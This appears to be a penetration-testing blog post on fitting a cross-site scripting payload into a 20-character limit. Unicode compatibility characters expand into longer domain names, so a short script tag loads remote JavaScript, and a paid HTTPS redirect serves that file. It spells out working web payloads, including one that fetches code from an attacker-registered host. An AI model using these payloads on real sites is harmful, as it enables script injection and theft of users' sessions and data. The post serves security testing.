Exploiting XSS with 20 characters limitation
Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.
Unicode compatibility
In Unicode equivalence some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: canonical equivalence and compatibility.
-
Canonical equivalence: Code point sequences are assumed to have the same appearance and meaning when printed or displayed. For example,
n
+◌̃
=ñ
. -
Compatible equivalence: Code point sequences are assumed to have possibly distinct appearances, but the same meaning in some contexts. For example
ff
character has the equivalent toff
.
20 length limitation problem
Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:
<svg/onload=alert``>
But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. Loading an external Javascript would be perfect and would give us more flexibility to prepare a more complex attack.
<script src=//aa.es>
Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is taken or is too expensive.
Taking advantage
Browsers perform unicode compatibility with some characters, let’s see an example. Supose we have this payload:
<script src=//ffff.pw>
Notice that ff
characters is only one character but when browsers interpret it, it will be expanded as ff
two characters. This open the door to buy larger domains, in a cheaper way.
- ff expands to
ff
- ℠ expands to
sm
- ㏛ expands to
sr
- st expands to
st
- ㎭ expands to
rad
- ℡ expands to
tel
More of these characters can be found here.
To check in which characters are decomposed check here:
Then, lets register a domain a telsr.pw
for example. It costs only $1.28
.
Our final payload will look like this:
<script src=//℡㏛.pw>
Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of 20 characters instead of 23 characters thanks of unicode compatibility.
Next steps
Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.
One thing came into my mind, let’s perform a DNS Redirect, it will work as follows:
- 1. XSS is triggered and browser tries to load the content of to
telsr.pw
- 2. DNS redirects to
xsshunter.com
to trigger the XSS execution. - 3. Win
But there is a problem, if the connection goes over HTTPS and we trigger a script with src=\\url
the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a certificate mismatch and the Javascript file will not be loaded.
If the comunication goes over HTTP this is not a problem, but it is not the common scenario.
This was solved doing the following:
- 1. Buy a hosting to that domain, the cheapest one
$1.44/mo
. In my case was using namecheap.com. - 2. Set up a HTTPS certificate, it is free the first year.
- 3. In your control panel, go to the redirection form and perform a redirection to the place you have the
Javascript
file. This is not a DNS redirection, is a server redirection, so there will be not certificate mismatch error because the url is presenting a valid certificate generated in step 2. - 4. Redirection is performed and execution triggered.